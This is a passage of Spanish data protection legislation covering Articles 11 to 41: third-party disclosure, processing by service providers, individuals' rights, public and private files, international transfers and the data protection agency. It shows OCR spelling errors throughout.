(a) Cuando la cesion esta autorizada en una Ley. 

(b) Cuando se trate de datos recogidos de fuentes accesibles al publico. 

(c) Cuando el tratamiento responda a la libre y legitima aceptacion de una relation juridica cuyo 
clesarrollo, cumplimiento y control implique necesariamente la conexion de dicho tratamiento 
con ficheros de terceros. En este caso la comunicacion solo sera legitima en cuanto se limite 
a la finalidad que la justifique. 

(d) Cuando la comunicacion que deba efectuarse tenga por clestinatario al Defensor del Pueblo, 
el Ministerio Fiscal o los Jueces o Tribunales o el Tribunal de Cuentas, en el ejercicio de las 
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funciones que tiene atribuidas. Tampoco sera preciso el consentimiento cuando la comunica- 
cion tenga como destinatario a instituciones autonomicas con funciones analogas al Defensor 
del Pueblo o al Tribunal de Cuentas. 

(e) Cuando la cesion se produzca entre Administraciones Publicas y tenga por objeto el trata- 
miento posterior de los datos con fines historicos, estadisticos o cientificos. 

(f) Cuando la cesion de datos de caracter personal relativos a la salud sea necesaria para solucionar 
una urgencia que requiera acceder a un fichero o para realizar los estudios epidemiologicos en 
los terminos establecidos en la legislation sobre sanidad estatal o autonomica. 

3. Sera nulo el consentimiento para la comunicacion de los datos de caracter personal a un tercero 
cuando la information que se facilite al interesado no le permita conocer la finalidad a que desti- 
naran los datos cuya comunicacion se autoriza o el tipo de actividad de aquel a quien se pretenden 
comunicar. 

4. El consentimiento para la comunicacion de los datos de caracter personal tiene tambien un 
caracter de revocable. 

5. Aquel a quien se comuniquen los datos de caracter personal se obliga, por el solo hecho de la 
comunicacion, a la observancia de las disposiciones de la presente Ley. 

6. Si la comunicacion se efectua previo procedimiento de disociacion, no sera aplicable lo esta- 
blecido en los apartados anteriores. 

Articulo 12. Acceso a los datos por cuenta de terceros. 

1. No se considerara comunicacion de datos el acceso de un tercero a los datos cuando dicho 
acceso sea necesario para la prestacion de un servicio al responsable del tratamiento. 

2. La realization de tratamientos por cuenta de terceros debera estar regulada en un contrato 
que debera constar por escrito o en alguna otra forma que permita acreditar su celebration y conte- 
nido, estableciendose expresamente que el encargado del tratamiento unicamente tratara los datos 
conforme a las instrucciones del responsable del tratamiento, que no los aplicara o utilizara con fin 
distinto al que figure en dicho contrato, ni los comunicara, ni siquiera para su conservation, a otras 
personas. 

En el contrato se estipularan, asimismo, las medidas de seguridad a que se refiere el articulo 9 de 
esta Ley que el encargado del tratamiento esta obligado a implementar. 

3. Una vez cumplida la prestacion contractual, los datos de caracter personal deberan ser des- 
truidos o devueltos al responsable del tratamiento, al igual que cualquier soporte o documentos en 
que conste algun dato de caracter personal objeto del tratamiento. 

4. En el caso de que el encargado del tratamiento destine los datos a otra finalidad, los comunique 
o los utilice incumpliendo las estipulaciones del contrato, sera considerado, tambien, responsable 
del tratamiento, respondiendo de las infracciones en que hubiera incurrido personalmente. 


TITULO III 

Derechos de las personas 

Articulo 13. Impugnacion de valoraciones. 

1. Los ciudadanos tienen derecho a no verse sometidos a una decision con efectos jurfdicos, sobre 
ellos o que les afecte de manera significativa, que se base unicamente en un tratamiento de datos 
destinados a evaluar determinados aspectos de su personalidad. 
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2. El afectado podra impugnar los actos administrativos o decisiones privadas que impliquen una 
valoracion de su comportamiento, cuyo unico fundamento sea un tratamiento de datos de caracter 
personal que ofrezca una definition de sus caracteristicas o personalidad. 

3. En este caso, el afectado tendra derecho a obtener informacion del responsable del fichero 
sobre los criterios de valoracion y el programa utilizados en el tratamiento que sirvio para adoptar 
la decision en que consistio el acto. 

4. La valoracion sobre el comportamiento de los ciudadanos basada en un tratamiento de datos, 
unicamente podra tener valor probatorio a petition del afectado. 

Articulo 14. Derecho de Consulta al Registro General de Proteccion de Datos. 

Cualquier persona podra conocer, recabando a tal fin la informacion oportuna del Registro Ge- 
neral de Proteccion de Datos, la existencia de tratamientos de datos de caracter personal, sus 
finalidades y la identidad del responsable del tratamiento. El Registro General sera de consulta 
publica y gratuita. 

Articulo 15. Derecho de acceso. 

1. El interesado tendra derecho a solicitar y obtener gratuitamente informacion de sus datos de 
caracter personal sometidos a tratamiento, el origen de dichos datos asi como las comunicaciones 
realizadas o que se preven hacer de los mismos. 

2. La informacion podra obtenerse mediante la mera consulta de los datos por medio de su 
visualization, o la indication de los datos que son objeto de tratamiento mediante escrito, copia, 
telecopia o fotocopia, certificada o no, en forma legible e inteligible, sin utilizar claves o codigos que 
requieran el uso de dispositivos mecanicos especfficos. 

3. El derecho de acceso a que se refiere este articulo solo podra ser ejercitado a intervalos no 
inferiores a doce meses, salvo que el interesado acredite un interes legitimo al efecto, en cuyo caso 
podra ejercitarlo antes. 

Articulo 16. Derecho de rectification y cancelation. 

1 . El responsable del tratamiento tendra la obligation de hacer efectivo el derecho de rectification 
o cancelation del interesado en el plazo de diez dias. 

2. Seran rectificados o cancelados, en su caso, los datos de caracter personal cuyo tratamiento no 
se ajuste a lo dispuesto en la presente Ley y, en particular, cuando tales datos resulten inexactos o 
incompletos. 

3. La cancelation dara lugar al bloqueo de los datos, conservandose unicamente a disposition de 
las Administraciones Piiblicas, Jueces y Tribunales, para la atencion de las posibles responsabilida- 
des nacidas del tratamiento, durante el plazo de prescription de estas. 

Cumplido el citado plazo debera procederse a la supresion. 

4. Si los datos rectificados o cancelados hubieran sido comunicados previamente, el responsable 
del tratamiento debera notificar la rectification o cancelation efectuada a quien se hayan comuni- 
cado, en el caso de que se mantenga el tratamiento por este ultimo, que debera tambien proceder 
a la cancelation. 

5. Los datos de caracter personal deberan ser conservados durante los plazos previstos en las 
dispositions aplicables o, en su caso, en las relaciones contractuales entre la persona o entidad 
responsable del tratamiento y el interesado. 

Articulo 17. Procedimiento de oposicion, acceso, rectification o cancelation. 
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1. Los procedimientos para ejercitar el derecho de oposicion, acceso, asi como los de rectificacion 
y cancelacion seran establecidos reglamentariamente. 

2. No se exigira contraprestacion alguna por el ejercicio de los derechos de oposicion, acceso, 
rectificacion o cancelacion. 

Articulo 18. Tutela de los derechos. 

1. Las actuaciones contrarias a lo dispuesto en la presente Ley pueden ser objeto de reclamation 
por los interesados ante la Agencia de Protection de Datos, en la forma que reglamentariamente se 
determine. 

2. El interesado al que se deniegue, total o parcialmente, el ejercicio de los derechos de oposicion, 
acceso, rectificacion o cancelacion, podra ponerlo en conocimiento de la Agencia de Protection de 
Datos o, en su caso, del Organismo competente de cada Comunidad Autonoma, que clebera asegu- 
rarse de la procedencia o improcedencia de la denegacion. 

3. El plazo maximo en que debe dictarse la resolution expresa de tutela de derechos sera de seis 
meses. 

4. Contra las resoluciones de la Agencia de Protection de Datos procedera recurso contencioso- 
administrativo. 

Articulo 19. Derecho a indemnizacion. 

1. Los interesados que, como consecuencia del incumplimiento de lo dispuesto en la presente Ley 
por el responsable o el encargado del tratamiento, sufran daiio o lesion en sus bienes o derechos 
tendran derecho a ser indemnizados. 

2. Cuando se trate de ficheros de titularidad publica, la responsabilidad se exigira de acuerdo 
con la legislation reguladora del regimen de responsabilidad de las Administraciones Publicas. 

3. En el caso de los ficheros de titularidad privada, la action se ejercitara ante los organos de la 
jurisdiction ordinaria. 

TITULO IV 

Disposiciones sectoriales 

CAPITULO PRIMERO. Ficheros de titularidad publica 

Articulo 20. Creation, modification o supresion. 

1. La creation, modification o supresion de los ficheros de las Administraciones Publicas solo 
podran hacerse por medio de disposition general publicada en el ‘Boletin Oficial del Estado’ o diario 
oficial correspondiente. 

2. Las disposiciones de creation o de modification de ficheros deberan indicar: 

(a) La finalidad del fichero y los usos previstos para el mismo. 

(b) Las personas o colectivos sobre los que se pretenda obtener datos de caracter personal o que 
resulten obligados a suministrarlos. 

(c) El procedimiento de recogida de los datos de caracter personal. 

(d) La estructura basica del fichero y la description de los tipos de datos de caracter personal 
incluidos en el mismo. 

(e) Las cesiones de datos de caracter personal y, en su caso, las transferencias de datos que se 
prevean a paises terceros. 
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(f) Los organos de las Administraciones responsables del fichero. 

(g) Los servicios o unidades ante los que pudiesen ejercitarse los derechos de acceso, rectificacion, 
cancelation y oposicion. 

(h) Las medidas de seguridad con indication del nivel basico, medio o alto exigible. 

3 . En las disposiciones que se dicten para la supresion de los ficheros se establecera el destino de 
los mismos o, en su caso, las previsiones que se adopten para su destruction. 

Articulo 21. Comunicacion de datos entre Administraciones Publicas. 

1. Los datos de caracter personal recogidos o elaborados por las Administraciones Publicas para 
el desempeno de sus atribuciones no seran comunicados a otras Administraciones Publicas para el 
ejercicio de competencias diferentes o de competencias que versen sobre materias distintas, salvo 
cuando la comunicacion hubiere sido prevista por las disposiciones de creation del fichero o por 
disposition de superior rango que regule su uso, o cuando la comunicacion tenga por objeto el 
tratamiento posterior de los datos con fines historicos, estadfsticos o cientfficos. 

2 . Podran, en todo caso, ser objeto de comunicacion los datos de caracter personal que una 
Administration Piiblica obtenga o elabore con destino a otra. 

3 . No obstante lo establecido en el articulo 11.2 (b), la comunicacion de datos recogidos de fuentes 
accesibles al publico no podra efectuarse a ficheros de titularidad privada, sino con el consentimiento 
del interesado o cuando una Ley prevea otra cosa. 

4 . En los supuestos previstos en los apartados 1 y 2 del presente articulo no sera necesario el 
consentimiento del afectado a que se refiere el articulo 11 de la presente Ley. 

Articulo 22. Ficheros de las Fuerzas y Cuerpos de Seguridad. 

1. Los ficheros creados por las Fuerzas y Cuerpos de Seguridad que contengan datos de caracter 
personal que, por haberse recogido para fines administrativos, deban ser objeto de registro perma- 
nente, estaran sujetos al regimen general de la presente Ley. 

2 . La recogida y tratamiento para fines policiales de datos de caracter personal por las Fuerzas 
y Cuerpos de Seguridad sin consentimiento de las personas afectadas estan limitados a aquellos 
supuestos y categorias de datos que resulten necesarios para la prevention de un peligro real para la 
seguridad piiblica o para la represion de infracciones penales, debiendo ser almacenados en ficheros 
especificos establecidos al efecto, que deberan clasificarse por categorias en funcion de su grado de 
fiabilidad. 

3 . La recogida y tratamiento por las Fuerzas y Cuerpos de Seguridad de los datos a que hacen 
referencia los apartados 2 y 3 del articulo 7, podran realizarse exclusivamente en los supuestos 
en que sea absolutamente necesario para los fines de una investigation concreta, sin perjuicio del 
control de legalidad de la actuation administrativa o de la obligation de resolver las pretensiones 
formuladas en su caso por los interesados que corresponden a los organos jurisdiccionales. 

4 . Los datos personales registrados con fines policiales se cancelaran cuando no sean necesarios 
para las averiguaciones que motivaron su almacenamiento. 

A estos efectos, se considerara especialmente la edad del afectado y el caracter de los datos almace- 
nados, la necesidad de mantener los datos hasta la conclusion de una investigation o procedimiento 
concreto, la resolution judicial firme, en especial la absolutoria, el indulto, la rehabilitation y la 
prescription de responsabilidad. 

Articulo 23. Excepciones a los derechos de acceso, rectificacion y cancelation. 

1. Los responsables de los ficheros que contengan los datos a que se refieren los apartados 2, 3 
y 4 del articulo anterior podran denegar el acceso, la rectificacion o cancelation en funcion de los 
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peligros que pudieran derivarse para la defensa del Estado o la seguridad publica, la proteccion de 
los derechos y libertades de terceros o las necesidades de las investigaciones que se esten realizando. 

2 . Los responsables de los ficheros de la Hacienda Publica podran, igualmente, clenegar el ejerci- 
cio de los derechos a que se refiere el apartado anterior cuando el mismo obstaculice las actuaciones 
administrativas tendentes a asegurar el cumplimiento de las obligaciones tributarias y, en todo caso, 
cuando el afectado este siendo objeto de actuaciones inspectoras. 

3 . El afectado al que se deniegue, total o parcialmente, el ejercicio de los derechos mencionados en 
los apartados anteriores podra ponerlo en conocimiento del Director de la Agenda de Proteccion de 
Datos o del Organismo competente de cada Comunidad Autonoma en el caso de ficheros mantenidos 
por Cuerpos de Policfa propios de estas, o por las Administraciones Tributarias Autonomicas, 
quienes deberan asegurarse de la procedencia o improcedencia de la denegacion. 

Articulo 24. Otras excepciones a los derechos de los afectados. 

1. Lo dispuesto en los apartados 1 y 2 del articulo 5 no sera aplicable a la recogida de datos 
cuando la information al afectado impida o dificulte gravemente el cumplimiento de las funciones 
de control y verification de las Administraciones Publicas o cuando afecte a la Defensa Nacional, a 
la seguridad publica o a la persecution de infracciones penales o administrativas. 

2 . Lo dispuesto en el articulo 15 y en el apartado 1 del articulo 16 no sera de aplicacion si, 
ponderados los intereses en presencia, resultase que los derechos que dichos preceptos conceden al 
afectado hubieran de ceder ante razones de interes publico o ante intereses de terceros mas clignos 
de proteccion. Si el organo administrativo responsable del fichero invocase lo dispuesto en este 
apartado, dictara resolution motivada e instruira al afectado del derecho que le asiste a poner la 
negativa en conocimiento del Director de la Agenda de Proteccion de Datos o, en su caso, del 
organo equivalente de las Comunidades Autonomas. 

CAPITULO SEGUNDO. Ficheros de titularidad privada 

Articulo 25. Creacion. 

Podran crearse ficheros de titularidad privada que contengan datos de caracter personal cuando 
resulte necesario para el logro de la actividad u objeto legitimos de la persona, empresa o entidad 
titular y se respeten las garantias que esta Ley establece para la proteccion de las personas. 

Articulo 26. Notihcaeion e inscripcion registral. 

1 . Toda persona o entidad que proceda a la creacion de ficheros de datos de caracter personal lo 
notihcara previamente a la Agenda de Proteccion de Datos. 

2 . Por via reglamentaria se procedera a la regulation cletallada de los distintos extremos que 
debe contener la notihcaeion, entre los cuales hguraran necesariamente el responsable del fichero, la 
hnalidad del mismo, su ubicacion, el tipo de datos de caracter personal que contiene, las medidas de 
seguridad, con indication del nivel basico, medio o alto exigible y las cesiones de datos de caracter 
personal que se prevean realizar y, en su caso, las transferencias de datos que se prevean a paises 
terceros. 

3 . Deberan comunicarse a la Agencia de Proteccion de Datos los cambios que se produzcan en 
la hnalidad del fichero automatizado, en su responsable y en la direction de su ubicacion. 

4 . El Registro General de Proteccion de Datos inscribira el fichero si la notihcaeion se ajusta a 
los requisites exigibles. 

En caso contrario podra pedir que se completen los datos que falten o se proceda a su subsanacion. 

5 . Transcurrido un mes desde la presentation de la solicited de inscripcion sin que la Agencia de 
Proteccion de Datos hubiera resuelto sobre la misma, se entendera inscrito el fichero automatizado 
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Articulo 27. Comunicacion de la cesion de datos. 

1 . El responsable del fichero, en el momento en que se efectue la primera cesion de datos, debera 
informar de ello a los afectados, indicando, asimismo, la finalidad del fichero, la naturaleza de los 
datos que han sido cedidos y el nombre y direccion del cesionario. 

2 . La obligation establecida en el apartado anterior no existira en el supuesto previsto en los 
apartados 2, letras (c), (d), (e) y 6 del articulo 11, ni cuando la cesion venga impuesta por Ley. 

Articulo 28. Datos incluidos en las fuentes de acceso publico. 

1. Los datos personales que figuren en el censo promocional o las listas de personas pertenecientes 
a grupos de profesionales a que se refiere el articulo 3 (j) de esta Ley cleberan limitarse a los que 
sean estrictamente necesarios para cumplir la finalidad a que se destina cada listado. La inclusion 
de datos adicionales por las entidades responsables del mantenimiento de dichas fuentes requerira 
el consentimiento del interesado, que podra ser revocado en cualquier momento. 

2 . Los interesados tendran derecho a que la entidad responsable del mantenimiento de los listados 
de los Colegios profesionales indique gratuitamente que sus datos personales no pueden utilizarse 
para fines de publicidad o prospeccion comercial. 

Los interesados tendran derecho a exigir gratuitamente la exclusion de la totalidad de sus datos 
personales que consten en el censo promocional por las entidades encargadas del mantenimiento de 
dichas fuentes. 

La atencion a la solicitucl de exclusion de la informacion innecesaria o de inclusion de la objecion 
al uso de los datos para fines de publicidad o venta a distancia debera realizarse en el plazo de diez 
dias respecto de las informaciones que se realicen mediante consulta o comunicacion telematica y 
en la siguiente edicion del listado cualquiera que sea el soporte en que se edite. 

3 . Las fuentes de acceso publico que se editen en forma de libro o algun otro soporte fisico, 
perderan el caracter de fuente accesible con la nueva edicion que se publique. 

En el caso de que se obtenga telematicamente una copia de la lista en formato electronico, esta 
perdera el caracter de fuente de acceso publico en el plazo de un aho, contado desde el momento 
de su obtencion. 

4 . Los datos que figuren en las guias de servicios de telecomunicaciones disponibles al publico se 
regiran por su normativa especifica. 

Articulo 29. Prestacion de servicios de informacion sobre solvencia patrimonial y 
credito. 

1 . Quienes se clediquen a la prestacion de servicios de informacion sobre la solvencia patrimonial 
y el credito solo podran tratar datos de caracter personal obtenidos de los registros y las fuentes 
accesibles al publico establecidos al efecto o procedentes de informaciones facilitadas por el intere- 
sado o con su consentimiento. 

2 . Podran tratarse tambien datos de caracter personal relativos al cumplimiento o incumplimien- 
to de obligaciones dinerarias facilitados por el creedor o por quien actiie por su cuenta o interes. 
En estos casos se notificara a los interesados respecto de los que hayan registrado datos de caracter 
personal en ficheros, en el plazo de treinta dias desde dicho registro, una referenda de los que hu- 
biesen sido incluidos y se les informara de su derecho a recabar informacion de la totalidad de ellos, 
en los terminos establecidos por la presente Ley. 

3 . En los supuestos a que se refieren los dos apartados anteriores cuando el interesado lo solicite, 
el responsable del tratamiento le comunicara los datos, asi como las evaluaciones y apreciaciones 
que sobre el mismo hayan sido comunicadas durante los ultimos seis meses y el nombre y direccion 
de la persona o entidad a quien se hayan revelado los datos. 
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4 . Solo se podran registrar y ceder los datos de caracter personal que sean determinantes para 
enjuiciar la solvencia economica de los interesados y que no se refieran, cuando sean adversos, a 
mas de seis anos, siempre que respondan con veracidad a la situation actual de aquellos. 

Articulo 30. Tratamientos con fines de publicidad y de prospeccion comercial. 

1. Quienes se clediquen a la recopilacion de direcciones, reparto de documentos, publicidad, venta 
a distancia, prospeccion comercial y otras actividades analogas, utilizaran nombres y direcciones u 
otros datos de caracter personal cuando los mismos figuren en fuentes accesibles al publico o cuando 
hayan sido facilitados por los propios interesados u obtenidos con su consentimiento. 

2. Cuando los datos procedan de fuentes accesibles al publico, de conformidad con lo establecido 
en el parrafo segundo del articulo 5.5 de esta Ley, en cada comunicacion que se dirija al interesado 
se informara del origen de los datos y de la identidad del responsable del tratamiento, asi como de 
los derechos que le asisten. 

3 . En el ejercicio del derecho de acceso los interesados tendran derecho a conocer el origen de sus 
datos de caracter personal, asi como del resto de informacion a que se refiere el articulo 15. 

4 . Los interesados tendran derecho a oponerse, previa petition y sin gastos, al tratamiento de 
los datos que les conciernan, en cuyo caso seran dados de baja del tratamiento, cancelandose las 
informaciones que sobre ellos figuren en aquel, a su simple solicitucl. 

Articulo 31. Censo Promocional. 

1. Quienes pretendan realizar permanente o esporadicamente la actividad de recopilacion de 
direcciones, reparto de documentos, publicidad, venta a distancia, prospeccion comercial u otras 
actividades analogas, podran solicitar del Instituto National de Estadistica o de los organos equi- 
valentes de las Comunidades Autonomas una copia del censo promocional, formado con los datos 
de nombre, apellidos y clomicilio que constan en el censo electoral. 

2 . El uso de cada lista de censo promocional tendra un plazo de vigencia de un aiio. Transcurrido 
el plazo citado, la lista perclera su caracter de fuente de acceso publico. 

3 . Los procedimientos mediante los que los interesados podran solicitar no aparecer en el censo 
promocional se regularan reglamentariamente. Entre estos procedimientos, que seran gratuitos para 
los interesados, se incluira el documento de empadronamiento. 

Trimestralmente se editara una lista actualizada del censo promocional, excluyendo los nombres y 
domicilios de los queasi lo hayan solicitado. 

4 . Se podra exigir una contraprestacion por la facilitation de la citada lista en soporte informatico. 

Articulo 32. Codigos tipo. 

1. Mediante acuerclos sectoriales, convenios administrativos o decisiones de empresa, los res- 
ponsables de tratamientos de titularidad publica y privada asf como las organizaciones en que se 
agrupen, podran formular codigos tipo que establezcan las condiciones de organization, regimen de 
funcionamiento, procedimientos aplicables, normas de seguridad del entorno, programas o equipos, 
obligaciones de los implicados en el tratamiento y uso de la informacion personal, asi como las 
garantias, en su ambito, para el ejercicio de los derechos de las personas con pleno respeto a los 
principios y disposiciones de la presente Ley y sus normas de desarrollo. 

2. Los citados codigos podran contener o no reglas operacionales cletalladas de cada sistema 
particular y estandares tecnicos de aplicacion. 

En el supuesto de que tales reglas o estandares no se incorporen directamente al codigo, las ins- 
trucciones u ordenes que los establecieran deberan respetar los principios hjados en aquel. 
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3. Los codigos tipo tendran el caracter de codigos deontologicos o de buena practica profesional, 
debiendo ser depositados o inscritos en el Registro General de Proteccion de Datos y, cuando 
corresponda, en los creados a estos efectos por las Comunidades Autonomas, de acuerdo con el 
articulo 41. El Registro General de Proteccion de Datos podra denegar la inscription cuando 
considere que no se ajusta a las disposiciones legales y reglamentarias sobre la materia, debiendo, 
en este caso, el Director de la Agenda de Proteccion de Datos requerir a los solicitantes para que 
efectuen las correcciones oportunas. 

TITULO V 

Movimiento internacional de datos 
Articulo 33. Norma general. 

1 . No podran realizarse transferencias temporales ni definitivas de datos de caracter personal que 
hayan sido objeto de tratamiento o hayan sido recogidos para someterlos a dicho tratamiento con 
destino a paises que no proporcionen un nivel de proteccion equiparable al que presta la presente 
Ley, salvo que, ademas de haberse observado lo dispuesto en esta, se obtenga autorizacion previa 
del Director de la Agenda de Proteccion de Datos, que solo podra otorgarla si se obtienen garantfas 
adecuadas. 

2. El caracter adecuado del nivel de proteccion que ofrece el pais de destino se evaluara por 
la Agenda de Proteccion de Datos atendiendo a todas las circunstancias que concurran en la 
transferencia o categoria de transferencia de datos. En particular, se tomara en consideration la 
naturaleza de los datos de finalidad y la duration del tratamiento o de los tratamientos previstos, 
el pais de origen y el pais de destino final, las normas de Derecho, generates o sectoriales, vigentes 
en el pais tercero de que se trate, el contenido de los informes de la Comision de la Union Europea, 
asi como las normas profesionales y las medidas de seguridad en vigor en dichos paises. 

Articulo 34. Excepciones. 

Lo dispuesto en el articulo anterior no sera de aplicacion: 

(a) Cuando la transferencia internacional de datos de caracter personal resulte de la aplicacion 
de tratados o convenios en los que sea parte Espaha. 

(b) Cuando la transferencia se haga a efectos de prestar o solicitar auxilio judicial internacional. 

(c) Cuando la transferencia sea necesaria para la prevention o para el diagnostico medicos, la 
prestacion de asistencia sanitaria o tratamiento medicos o la gestion de servicios sanitarios. 

(d) Cuando se refiera a transferencias dinerarias conforme a su legislation especifica. 

(e) Cuando el afectado haya dado su consentimiento inequivoco a la transferencia prevista. 

(f) Cuando la transferencia sea necesaria para la ejecucion de un contrato entre el afectado y el 
responsable del fichero o para la adoption de medidas precontractuales adoptadas a petition 
del afectado. 

(g) Cuando la transferencia sea necesaria para la celebration o ejecucion de un contrato celebrado 
o por celebrar, en interes del afectado, por el responsable del fichero y un tercero. 

(h) Cuando la transferencia sea necesaria o legalmente exigida para la salvaguarda de un interes 
publico. Tendra esta consideration la transferencia solicitada por una Administration fiscal o 
aduanera para el cumplimiento de sus competencias. 

(i) Cuando la transferencia sea precisa para el reconocimiento, ejercicio o defensa de un derecho 
en un proceso judicial. 
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(j) Cuando la transferencia se efectue, a peticion de persona con interes legftimo, clesde un Re- 
gistro Publico y aquella sea acorde con la finalidad del mismo. 

(k) Cuando la transferencia tenga como clestino un Estado miembro de la Union Europea, o un 
Estado respecto del cual la Comision de las Comunidades Europeas, en el ejercicio de sus 
competencias, haya declarado que garantiza un nivel de proteccion adecuado. 

TITULO VI 

Agenda de Proteccion de Datos 

Articulo 35. Naturaleza y regimen juridico. 

1. La Agencia de Proteccion de Datos es un Ente de Derecho publico, con personalidad jurfdica 
propia y plena capacidad publica y privada, que actiia con plena independence de las Administra- 
ciones Publicas en el ejercicio de sus funciones. Se regira por lo dispuesto en la presente Ley y en 
un Estatuto propio, que sera aprobado por el Gobierno. 

2 . En el ejercicio de sus funciones publicas, y en defecto de lo que disponga la presente Ley 
y sus disposiciones de desarrollo, la Agencia de Proteccion de Datos actuara de conformidad con 
la Ley 30/1992, de 26 de noviembre, de Regimen Jurfdico de las Administraciones Publicas y del 
Procedimiento Administrative Comun. En sus adquisiciones patrimoniales y contratacion estara 
sujeta al Derecho privado. 

3 . Los puestos de trabajo de los organos y servicios que integren la Agencia de Proteccion de 
Datos seran desempenados por funcionarios de las Administraciones Publicas y por personal con- 
tratado al efecto, segun la naturaleza de las funciones asignadas a cada puesto de trabajo. Este 
personal esta obligado a guardar secreto de los datos de caracter personal de que conozca en el 
desarrollo de su funcion. 

4 . La Agencia de Proteccion de Datos contara, para el cumplimiento de sus fines, con los siguientes 
bienes y medios economicos: 

(a) Las asignaciones que se establezcan anualmente con cargo a los Presupuestos Generales del 
Estado. 

(b) Los bienes y valores que constituyan su patrimonio, asf como los productos y rentas del mismo. 

(c) Cualesquiera otros que legalmente puedan serle atribuidos. 

5 . La Agencia de Proteccion de Datos elaborara y aprobara con caracter anual el correspondiente 
anteproyecto de presupuesto y lo remitira al Gobierno para que sea integrado, con la debida inde- 
pendence, en los Presupuestos Generales del Estado. 

Articulo 36. El Director. 

1. El Director de la Agencia de Proteccion de Datos dirige la Agencia y ostenta su representation. 
Sera nombrado, de entre quienes componen el Consejo Consultivo, mediante Real Decreto, por un 
periodo de cuatro anos. 

2 . Ejercera sus funciones con plena independence y objetividad, y no estara sujeto a instruction 
alguna en el desempeno de aquellas. 

En todo caso, el Director debera oir al Consejo Consultivo en aquellas propuestas que este le realice 
en el ejercicio de sus funciones. 

3 . El Director de la Agencia de Proteccion de Datos solo cesara antes de la expiration del periodo 
a que se refiere el apartado 1 a peticion propia o por separation acorclada por el Gobierno, previa 
instruction de expediente, en el que necesariamente seran oidos los restantes miembros del Consejo 
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Consultivo, por incumplimiento grave de sus obligaciones, incapacidad sobrevenida para el ejercicio 
de su funcion, incompatibilidad o condena por delito doloso. 

4. El Director de la Agenda de Proteccion de Datos tendra la consideration de alto cargo y 
quedara en la situacion de servicios especiales si con anterioridad estuviera desempeiiando una 
funcion publica. En el supuesto de que sea nombrado para el cargo algun miembro de la carrera 
judicial o fiscal, pasara asimismo a la situacion administrativa de servicios especiales. 

Articulo 36. Funciones. 

Son funciones de la Agencia de Proteccion de Datos: 

(a) Velar por el cumplimiento de la legislation sobre proteccion de datos y controlar su aplica- 
cion, en especial en lo relativo a los derechos de informacion, acceso, rectification, oposicion 
y cancelacion de datos. 

(b) Emitir las autorizaciones previstas en la Ley o en sus disposiciones reglamentarias. 

(c) Dictar, en su caso y sin perjuicio de las competencias de otros organos, las instrucciones 
precisas para adecuar los tratamientos a los principios de la presente Ley. 

(d) Atender las peticiones y reclamaciones formuladas por las personas afectadas. 

(e) Proporcionar informacion a las personas acerca de sus derechos en materia de tratamiento de 
los datos de caracter personal. 

(f) Requerir a los responsables y los encargados de los tratamientos, previa audiencia de estos, 
la adoption de las medidas necesarias para la adecuacion del tratamiento de datos a las 
disposiciones de esta Ley y, en su caso, ordenar la cesacion de los tratamientos y la cancelacion 
de los ficheros, cuando no se ajuste a sus disposiciones. 

(g) Ejercer la potestad sancionadora en los terminos previstos por el Titulo VII de la presente 
Ley. 

(h) Informar, con caracter preceptivo, los proyectos de disposiciones generates que desarrollen 
esta Ley. 

(i) Recabar de los responsables de los ficheros cuanta ayuda e informacion estime necesaria para 
el desempeho de sus funciones. 

(j) Velar por la publicidad de la existencia de los ficheros de datos con caracter personal, a cuyo 
efecto publicara periodicamente una relacion de dichos ficheros con la informacion adicional 
que el Director de la Agencia determine. 

(k) Redactar una memoria anual y remitirla al Ministerio de Justicia. 

(l) Ejercer el control y adoptar las autorizaciones que procedan en relacion con los movimientos 
internacionales de datos, asf como desempehar las funciones de cooperation internacional en 
materia de proteccion de datos personates. 

(m) Velar por el cumplimiento de las disposiciones que la Ley de la Funcion Estadistica Publica 
establece respecto a la recogida de datos estadisticos y al secreto estadistico, asf como dictar 
las instrucciones precisas, dictaminar sobre las condiciones de seguridad de los ficheros consti- 
tuidos con fines exclusivamente estadisticos y ejercer la potestad a la que se refiere el articulo 
46. 

(n) Cuantas otras le sean atribuidas por normas legates o reglamentarias. 
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Articulo 38. Consejo Consultivo. 

El Director de la Agenda de Protection de Datos estara asesorado por un Consejo Consultivo 
compuesto por los siguientes miembros: 

• Un Diputado, propuesto por el Congreso de los Diputados. 

• Un Senador, propuesto por el Senado. 

• Un representante de la Administration Central, designado por el Gobierno. 

• Un representante de la Administracion Local, propuesto por la Federation Espanola de Mu- 
nicipios y Provincias. 

• Un miembro de la Real Academia de la Historia, propuesto por la misma. 

• Un experto en la materia, propuesto por el Consejo Superior de Universidades. 

• Un representante de los usuarios y consumidores, seleccionado del modo que se prevea regla- 
mentariamente. 

• Un representante de cada Comunidad Autonoma que haya creado una agencia de proteccion 
de datos en su ambito territorial, propuesto de acuerdo con el procedimiento que establezca 
la respectiva Comunidad Autonoma. 

• Un representante del sector de ficheros privados, para cuya propuesta se seguira el procedi- 
miento que se regule reglamentariamente. 

El funcionamiento del Consejo Consultivo se regira por las normas reglamentarias que al efecto se 
establezcan. 

Articulo 39. El Registro General de Proteccion de Datos. 

1. El Registro General de Proteccion de Datos es un organo integrado en la Agencia de Protec- 
cion de Datos. 

2 . Seran objeto de inscription en el Registro General de Proteccion de Datos: 

(a) Los ficheros de que sean titulares las Administraciones Piiblicas. 

(b) Los ficheros de titularidad privada. 

(c) Las autorizaciones a que se refiere la presente Ley. 

(d) Los codigos tipo a que se refiere el articulo 32 de la presente Ley. 

(e) Los datos relativos a los ficheros que sean necesarios para el ejercicio de los derechos de 
information, acceso, rectification, cancelation y oposicion. 

3 . Por via reglamentaria se regulara el procedimiento de inscription de los ficheros, tanto de 
titularidad publica como de titularidad privada, en el Registro General de Proteccion de Datos, 
el contenido de la inscription, su modification, cancelation, reclamaciones y recursos contra las 
resoluciones correspondientes y demas extremos pertinentes. 

Articulo 40. Potestad de inspection. 

1. Las autoridades de control podran inspeccionar los ficheros a que hace referencia la presente 
Ley, recabando cuantas informaciones precisen para el cumplimiento de sus cometidos. 

A tal efecto, podran solicitar la exhibition o el envio de documentos y datos y examinarlos en el 
lugar en que se encuentren clepositados, asi como inspeccionar los equipos fisicos y logicos utilizados 
para el tratamiento de los datos, accediendo a los locales donde se hallen instalados. 

2 . Los funcionarios que ejerzan la inspection a que se refiere el apartado anterior tendran la 
consideration de autoridad publica en el clesempeno de sus cometidos. 
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Estaran obligados a guardar secreto sobre las informaciones que conozcan en el ejercicio de las 
mencionadas funciones, incluso despues de haber cesado en las mismas. 

Articulo 41. Organos correspondientes de las Comunidades Autonomas. 

1. Las funciones de la Agenda de Proteccion de Datos reguladas en el articulo 37, a exception 
de las mencionadas en los apartados (j), (k) y (1), y en los apartados (f) y (g) en lo que se refiere 
